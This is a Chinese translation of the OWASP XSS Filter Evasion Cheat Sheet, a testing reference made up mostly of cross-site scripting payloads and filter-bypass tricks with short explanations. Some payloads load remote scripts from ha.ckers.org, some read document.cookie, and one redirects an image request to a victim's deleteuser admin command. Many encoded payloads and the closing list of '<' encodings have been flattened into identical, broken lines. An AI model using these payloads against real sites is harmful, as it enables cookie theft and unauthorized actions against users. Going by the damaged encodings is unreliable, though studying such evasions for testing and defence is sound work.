@laodao
2014-05-11T22:08:27.000000Z
字数 22410
阅读 15427
译者注:
翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值。但是这么著名的一个备忘录却一直没有人把它翻译成中文版。很多人仅仅是简单的把文中的各种代码复制下来,然后看起来很刁的发在各种论坛上,不过你要真去认真研读这些代码,就会完全不知所云了。原因是这篇文章最精华的部分是代码的解释而非代码本身。
一方面为了自己学习,一方面也想让更多国内的xss爱好者去更方便的阅读本文。所以虽然我本身英语很烂,xss技术也很烂,但还是去翻译了这篇文章。当然这也导致最后翻译出来的文章晦涩难懂、不知所云。这个真心向大家说声抱歉啊,也希望大家能及时帮忙提出文中的翻译错误或其他错误。
另外,在翻译过程中,我发现XSS Filter Evasion Cheat Sheet原版本身也存在一些技术上的或是描述上的错误。不过虽然我知道原文中某些地方可能出错,但是我也不知道正确的应该是什么样的,还有就是或许原文本身是对的,但是我理解错了。种种原因吧,最后基本上都按原文在翻译,有些觉得可能存在错误的地方或是我理解不了的地方,我就没有翻译,继续使用英文。希望大家可以帮忙给出翻译或是解释。
如果大家有能力阅读英文的话,尽量阅读原文,即使要看这个翻译版,也配合英文版一起看。不要让我的翻译错误误人子弟啊。最后希望大家可以和我一起解决翻译中的各种错误,把这个中文版维护好。
谢谢
这篇文章的主要目的是去给应用安全测试者提供一份xss漏洞检测指南。文章的初始内容由RSnake提供给OWASP,从他的xss备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到我们这里,我们打算维护和完善它。OWASP的第一个防御备忘录项目:the XSS (Cross Site Scripting) Prevention Cheat Sheet灵感来源于RSnake的 XSS Cheat Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者去帮助他们预防xss漏洞,而不是创建一个复杂的备忘录去简单的告诉他们需要去预防各种千奇百怪的攻击。所以,OWASP备忘录系列诞生了。
这个备忘录主要针对那些已经理解了最基本的xss攻击,但是想要深入理解各种过滤器绕过的细微差别的学习者。
请注意大部分的xss攻击向量已经在其代码下方给出了测试过的浏览器列表。
注入下面这些代码,在大多数没有特殊xss向量要求而已遭受脚本攻击的地方将会弹出单词“xss”。使用url编码器去编码你的整个代码。小技巧:如果你是急切的需要快去检测一个页面,通常只需要注入轻量的 "<任意字符>" 标签,然后判断输出点是否受到干扰就可以判断是否xss漏洞了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
如果你没有充足的输入空间去检测页面是否存在xss漏洞。下面这段代码是一个好的简洁的xss注入检测代码。在注入这段代码后,查看页面源代码寻找是否存在看起来像
'';!--"<XSS>=&{()}
这是一个常规的xss注入代码,虽然通常它会被防御,但是我们建议首先去尝试它。(引号是不被需要的在任何现代浏览器中,因此这里省略了它。)
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
图片xss依靠javascript指令实现。(IE7.0不支持javascript指令在图片上下文中,但是可以在其他上下文触发。下面的例子仅仅展示了一种其他标签依旧通用的原理。)
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>
如果你的javascript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包裹javascript代码。它也经常会非常有用因为xss过滤代码未考虑到这个字符。
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
跳过href属性,而直接获取xss实质攻击代码...提出被David Cross ~ 已验证在chrome浏览器
<a onmouseover="alert(document.cookie)">xxs link</a>
此外,chrome浏览器喜欢去不全确实的引号为你。如果你遇到阻碍那么直接省略它们吧,chrome将会正确的帮你不全缺失的引号在URL和script中。
<a onmouseover=alert(document.cookie)>xxs link</a>
最早被 Begeek发现(可以短小而干净的运行于任何浏览器),这个xss向量依靠松散的渲染引擎解析IMG标签中被引号包含的字符串来实现。我猜测它最初是为了正确编码而造成的。这将使它更加困难的去解释HTML标签。
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
如果没有任何形式的引号被允许,你可以eval()一串fromCharCode在javascript来创建任何你需要的xss向量。
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
这将绕过绝大多数SRC域名过滤器。插入javascript代码在任何一个事件方法同样适用于热河一个HTML标签,例如Form、Iframe、Input、Embed等等。他将也允许任何任何该标签的相关事件去替换,例如onblur, onclick等,后面我们会附加一个可用的事件列表。由David Cross提供,Abdullah Hussam编辑。
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
所有在使用javascript指令的xss示例将无法工作在 Firefox 或 Netscape 8.1+,因为它们使用了 Gecko 渲染引擎。使用 XSS Calculator 获取更多信息。
<IMG SRC=javascript:alert(
'XSS')>
他是经常有用的在绕过寻找"&#XX;"格式的xss过滤,因为大多数人不知道最多允许7位字符的编码限制。这也是有用的对那些对字符串解码像$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为一个html编码需要用;去结束。(我是无意中发现)
<IMG SRC=javascript:alert('XSS')>
这也是一种实用的xss攻击针对上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为数字编码跟随在#后面(十六进制htnl编码并非如此),。使用 XSS Calculator 获取更多信息。
<IMG SRC=javascript:alert('XSS')>
用来分开xss攻击代码
<IMG SRC="jav ascript:alert('XSS');">
用来分开xss攻击代码
<IMG SRC="jav	ascript:alert('XSS');">
一些网站声称09-13编码的所有字符(十进制)都可以实现这种形式的攻击。这是不正确的。只有09(tab), 10 (换行) 和 13 (回车)可以使用。查看ascii表为更详细的信息。下面四个xss例子展示了这个向量。
<IMG SRC="jav
ascript:alert('XSS');">
注意:上面我编写的三个xss字符串比必须的字符串更长,原因是0可以被省略。通常我看到的过滤器假设十六进制和十进制的编码是两到三个字符。正确的应该是一到七个字符。
<IMG SRC="jav
ascript:alert('XSS');">
null字符也可以作为一个xss向量,但是不像上边那样。你需要直接注入它们利用一些工具例如Burp Proxy,或是使用 %00 在你的url字符串里。或者如果你想写你自己的注入工具你可以使用vim(^V^@ 会生成null),以及用下面的程序去生成它到一个文本文件中。好吧,我再一次撒谎了。 Opera的老版本(大约 7.11 on Windows)是脆弱的对于一个额外的字符173(软连字符)。但是null字符 %00 是更加的有用或者帮助我们绕过某些真实存在的过滤器用过变动像这个例子中的。
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
xss过滤拼配模式没有考虑单词"javascript:"中可能存在空格是正确的,因为否则将无法渲染。但是这也导致了错误的假设认为你不可以有一个空格在引号和 "javascript:" 单词之间。事实上你可以插入 1-32编码字符(十进制)中的任何字符。
<IMG SRC="  javascript:alert('XSS');">
Firefox html解析器设定一个非数字字母字符不是有效的在一个html关键字后面,因此这些字符会被视为空白符或是无效的token在html标签之后。这导致很多xss过滤器错误的认为html标签必须是被空白符隔断的。例如,"
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
和上面的原理相同,我们继续扩大,Gecko渲染引擎允许字母、数字、html封装字符以外的任何字符位于事件处理器与等号之间。从而借此绕过xss过滤器。注意这也是适用于重音符如下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 提示我有一个小区别在 ie和Gecko 渲染引擎之间是他们仅允许一个一个斜杠在html标签和参数之间,在不使用空格的情况下。这可能是有用的在那些不允许输入空格的系统中。
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Franz Sedlmaier提出,利用这个xss向量可以绕过某些检测引擎,因为这些引擎通过拼配最早出现的一对尖括号,并且提取其内部内容作为标签,而没有使用更加有效的算法例如 Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠可以抑制额外尖括号导致的javascript错误。
<<SCRIPT>alert("XSS");//<</SCRIPT>
对于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你并不需要常规xss中"></SCRIPT>"这部分。 Firefox会帮你闭合标签,并且加入结束标签。多么的体贴啊! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. 如果需要,你可以加入引号,但通常他并不是必须的。注意,我并不清楚这个代码被注入后html代码会闭合成什么样子。
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
这个特殊的变体由 Łukasz Pilorz 提出,并且基于上文中 Ozh提出的协议解析绕过。这个xss例子工作在 IE, 使用IE渲染引擎的Netscape 以及加了在结尾的 Opera。这是非常有用的在输入长度受到限制。域名越短越好。 ".j"是有效的,不需要考虑编码问题因为浏览拿起可以自动识别在一个script标签中。
<SCRIPT SRC=//ha.ckers.org/.j>
不同于 Firefox ,ie渲染引擎不会加入额外的数据到你的页面。但是它允许javascript指定在图片标签中这是有用的作为一个xss向量,因为它不需要一个结束的尖括号。你可以插入这个xss向量在任何html标签后面。甚至没有用">"关闭标签。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". 这也是有效的去对付真实的xss过滤器,我曾经碰见过试用半开的
<IMG SRC="javascript:alert('XSS')"
使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号(>)会有不同的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。
<iframe src=http://ha.ckers.org/scriptlet.html <
当一个应用程序是输出用户自定义的信息到javascript代码中,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript代码进入它,但是服务器转义了其中的某些引号,这时你需要通过转义被转义的字符来绕过它。从而使最终的输入代码类似于<SCRIPT>var a="\";alert('XSS');//";</SCRIPT> 。最终\转义了双引号前被服务器添加的\,而双引号则不会被转义,从而触发xss向量。xss定位器使用这个方法。
\";alert('XSS');//
这是一个简单的xss向量,可以引入一个恶意的xss攻击。
译者注:titile标签内部不支持html代码,所有内容会被自动转义为普通字符。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
为带有符号的列表嵌入自定义图片的符号。它是只能工作在ie渲染引擎因为javascript指令。这不是一个特别有用的xss向量。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
这个方法不需要使用任何"javascript:" or "
<BODY ONLOAD=alert('XSS')>
它可以被用于上文中的一些共性xss攻击(这是最完整的一个实时更新的在线列表)。感谢Rene Ledosquet 的更新。此外你可以参考 Dottoro Web Reference 或是 events in JavaScript.
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(通过某些方式例如最简单的远程样式表,你可以插入一个样式参数为嵌入表达式的xss代码)。它是仅仅工作在IE浏览器或是使用了IE渲染引擎的Netscape 8.1+。需要注意的是页面中并没有展现出它包含了javascript代码。注意:所有的远程样式表示例需要至少用到body标签,负责将无法工作除非页面中包含除了向量本身的其他内容。因此你需要添加至少一个字母到页面确保他可以工作如果它是一个空白页面。
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
他的工作原理与上面相同。但是使用了STYLE标签代替LINK标签。榆次向量稍有不同的变异被用于攻击Google Desktop。你可以移除</STYLE>标签当后面的html去闭合它。这个向量是有用的在不允许输入等号或是反斜杠的实际环境中。
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
它仅仅可以工作在 Opera 8.0 (no longer in 9.x) ,但是是非常的狡猾。 Opera 8.0 (no longer in 9.x) 。根据RFC2616规定,设置一个连接头不是 HTTP1.1 规定的一部分,但是很多浏览器仍然允许它(例如Firefox and Opera)。这个技巧是我们可以设置一个http头(与常规http头没有什么不同,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。这样带有xss代码的远程向量将运行javascript。他并不被支持在 FireFox。
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
它是仅仅工作在 Gecko 渲染引擎。并且需要绑定一个 XUL文件在页面。令人讽刺的是Netscape认为Gecko是更加安全的,因此绝大多是网站会受到这个攻击。
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
这个xss在ie浏览器中会造成无线循环
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
提出被 Roman Ivanov
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
这是上面xss向量的混合体。但是它是展示了STYLE标签被分隔有多困难。同样它也会在ie下造成循环弹窗。
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 并不会关心你建立的html标签存在与否。只要它是以尖括号以及字符开始的。
<XSS STYLE="xss:expression(alert('XSS'))">
它有一个小的不同与上面的xss向量,因为他使用的 htc 文件必须是当前域的文件。这个文件通过样式属性引入并运行javascript代码实现xss。
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII 编码 (发现被 Kurt Huwig)。它是使用畸形的ASCII 编码用7bits代替8bits. 这个xss可以绕过绝大多数内容过滤,但是必须当前域的传输形式为 US-ASCII编码方式。或者你自己去设置这种编码方式 。它是有用的去绕过web应用防火墙xss过滤比服务器端的过滤。Apache的 Tomcat是众所周知的 使用US-ASCII编码传输协议。
¼script¾alert(¢XSS¢)¼/script¾
关于meta refresh比较奇怪的是他并不是发送一个刷新请求头。因此他通常用于不需要引用url的攻击。
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
URL指令方案,它是非常的不错因为赢没有明显的SCRIPT单词或是JavaScript 指令出现,因为它使用了base64 编码。请查看 RFC 2397了解更多信息或是编码你的代码。你也可以使用 XSS calculator去编码你的html或是javascript代码到base64位。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
如果当前网页试图去查找URL参数是否以"http://" 开始,你可以用下列技术绕过(被 Moritz Naumann提出)
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
如果一个iframes被允许,那么同时可能会存在大量其他xss问题
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFrames或其他元素可以使用事件如下(提出被 David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
Frames有一些列相同的问题像 iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
像上面一样,TD也可以通过 BACKGROUND 来包含javascript xss向量
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
这是被轻微的修改去混淆 url 参数。他是最早被发现被 Renaud Lifchitz用于攻击hotmail。
Rnaske开发了一个XSS fuzzer去探测可以在开括号和javascript之间加入哪些额外字符在 IE和安全模式下的 Netscape 8.1。都是一些十进制的字符,但是你也可以用十六进制来填充。(下面这些编码字符可以被使用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
它的一个变体是更加有效的去绕过实际的xss过滤器是在冒号和表达式之间添加换行符。
<DIV STYLE="width: expression(alert('XSS'));">
只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些网站认为任何包裹在注释中的内容都是安全的,因此并不会被移除。这将允许我们的xss向量。或者系统可能通过添加注释对某些内容去试图无害的渲染它。如我们所见,这有时并不起作用。
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
工作ie或是使用了安全模块的Netscape 8.1,你需要使用 "//" 斜体文本去避免javascript错误。这需要当前网站使用相对路径(例如images/image.jpg)而不是绝对路径。如果路径开始用一个斜杠(例如"/images/image.jpg"),你需要去掉xss向量中的一个斜杠(只有在两个斜杠的情况下才会起到注释作用)
<BASE HREF="javascript:alert('XSS');//">
如果允许objects标签,你也可以注入病毒payloads去感染用户。类似于APPLET标签。这个链接文件是一个包含xss代码的html文件。
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
点击这个demo,如果你加入属性allowScriptAccess="never" and allownetworking="internal"他可以缓解这个风险(谢谢Jonathan Vanasco 的这个信息)
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
这个xss向量尽可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在审计雅虎时发现。
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
它是相同的同上面仅仅代替XML文件为当前域文件。你可以看到结果在下面。
它展示的 Grey Magic 是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且这段代码需要放在html域body标签之间。
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
你可以重命名你的javascript文件为一个图片作为xss向量
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
这需要SSI被安装在服务器端去使用这个xss向量。但可能我并不需要提及这点,因为如果你可以运行命令在服务器端,那么毫无异味会有更加严重的问题存在。
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
需要php被安装在服务器端去使用这个xss向量。同样的,如果你可以运行恩任何远程脚本,那么将会有更加严重的问题。
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
它是工作于那些需要用户认证后才可以执行命令的当前域页面。它将可以创建删除用户(如果访问者是管理员),或是寄送某些凭证等等,虽然他是较少被使用但是是非常有用的。
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
这是更加的可怕因为并没有特别的标识符去使它看起开来可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304(或其他可行方案)去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码<IMG SRC="a.jpg">可以是带有命令的xss向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess(apche下)配置文件去完成这个向量。(感谢Timo为这部分。)
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
这是公认的不着边际,但是我已经发下一个例子是用 <META 去覆盖cookie。另一个例子是有些网站使用cookie中的某些数据去呈现在当前访问者的网页中为仅仅他自己而不是从远程数据库中获取。当这两个清静联系在一起的时候,你可以通过修改cookie让javascript输入到用户页面中。(你可以借此让用户退出,改变用户的状态,甚至让用户以你的身份登录)
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
如果存在xss的页面没有提供页面charset header,或是对于任何被设为UTF-7 的浏览器,我们可以利用下面的代码。(感谢Roman Ivanov 的提供),点击这儿为这个例子。(如果页面设置是自动识别编码且content-types 没有被覆盖,在ie浏览器或使用了IE渲染引擎的 Netscape 8.1,咋你不需要声明 charset )在没有改变编码的情况下它是不能工作在任何现代浏览器,这是为什么它被标记为完全不支持。Watchfire发现这个漏洞在Google's 自定义 404 脚本中.
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
他是被测试在ie,具体因情况而异。它是为了绕过那些可以输入 "<SCRIPT>" 但不允许输入 "<SCRIPT SRC...",通过正则"/<script[^>]+src/i"进行过滤的xss过滤区。
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
为了执行xss代码在那些允许输入"<SCRIPT>" 但不允许 "<script src..."靠正则拼配"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i" (这个是重要的,因为我已经看到这个正则在实际环境中。)
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
另一个逃避相同正则 "/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i"的xss代码
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这是另一个xss例子去绕过相同的过滤器,关于"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i"的正则过滤。我知道,我说过我将不会去痛痛快快的聊减灾技术。但是这是我所看到的唯一例子在允许用户输入<SCRIPT>但是不允许通过src加在远程脚本的过滤这个xss的可用方法。(当然,还有一些其他方法去处理它,如果它们允许<SCRIPT> )
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
最后一个绕过"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i"正则匹配的例子,通过重音符。(再以无法工作在firfox)
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这个xss例子押注域哪些正则并不去拼配一对引号,而是去发现任何引号后就立即结束参数字符串。
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这xss仍然让我担心,因为他是几乎没有肯呢过去停止在没有阻止活动内容的情况下。
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这里假设 "http://www.google.com/" 这种在语法上是不被允许的。
IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>
URL 编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
双字节编码
(注意:有其他的双字节编码变种。请参考下面混淆后的ip为更多信息)
<A HREF="http://1113982867/">XSS</A>
十六进制编码
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因为十六进制数实在0-f之间,因此第三位开头的0可以被省略掉。
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制编码
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合编码
让我们混合基本编码并且插入一个tab和换行符。为什么浏览器允许这样,我是不知道。但是它是可以工作当它们被包含在引号之间。
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议绕过
“//”代替“http:// ” 可以节省更多字符。这是非常有用的当输入空间是有限的时候。两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://" 这样的正则过滤。(感谢 Ozh 提出这部分)。你也可以改变//" 为 "\"。你需要保持斜杠在适当的地方。否则可能会被当作一个相对路径的url。
<A HREF="//www.google.com/">XSS</A>
Google "feeling lucky" I
Firefox 使用 Google的"feeling lucky" 函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用任何关键字针对任何Firefox用户。它是使用了"keyword:" 协议。你可以使用多个关键字像下面的例子:XSS+RSnake。它是无法使用在 Firefox as of 2.0。
<A HREF="//google">XSS</A>
Google "feeling lucky" II
这是使用一个小技巧让他工作在Firefox,因为只有它实现了 "feeling lucky" 函数。不像下一个例子,它是无法工作在 Opera ,由于 Opera认为它是一种老的钓鱼攻击。它是一个简单的畸形url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框,我是说Opera是不支持它。它也不再被支持在 Firefox 2.0。
<A HREF="http://ha.ckers.org@google">XSS</A>
Google "feeling lucky" III
它是通过畸形url来工作在Firefox 和 Opera浏览器。因为只有他们实现了 "feeling lucky" 函数。像上面的例子一样,它们需要你的网站在谷歌搜索中排名第一。(例如google)
<A HREF="http://google:ha.ckers.org">XSS</A>
移除别名
结合上面的url。移除"www."将节省四个字符。
<A HREF="http://google.com/">XSS</A>
绝对 DNS用额外的点
<A HREF="http://www.google.com./">XSS</A>
JavaScript link location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
针对内容替换的攻击向量
假设"http://www.google.com/"会被替换为空。我确实使用了一个简单的攻击向量去针对特殊文字过滤依靠过滤器本身。这是一个例子去帮助创建向量。(IE: "java script:" 被替换为"java script:", 它是仍可以工作在 IE,使用安全模块的 Netscape 8.1+ 和 Opera)
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
再付 "<" 在html或是javascript中所有可能的编码形式。它们绝大多数是无法正常渲染的,但是可以在上文中某些情景下得到渲染。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
下面地址中包含了在xss有用的各种基本转换器。
http://ha.ckers.org/xsscalc.html
Robert "RSnake" Hansen
老道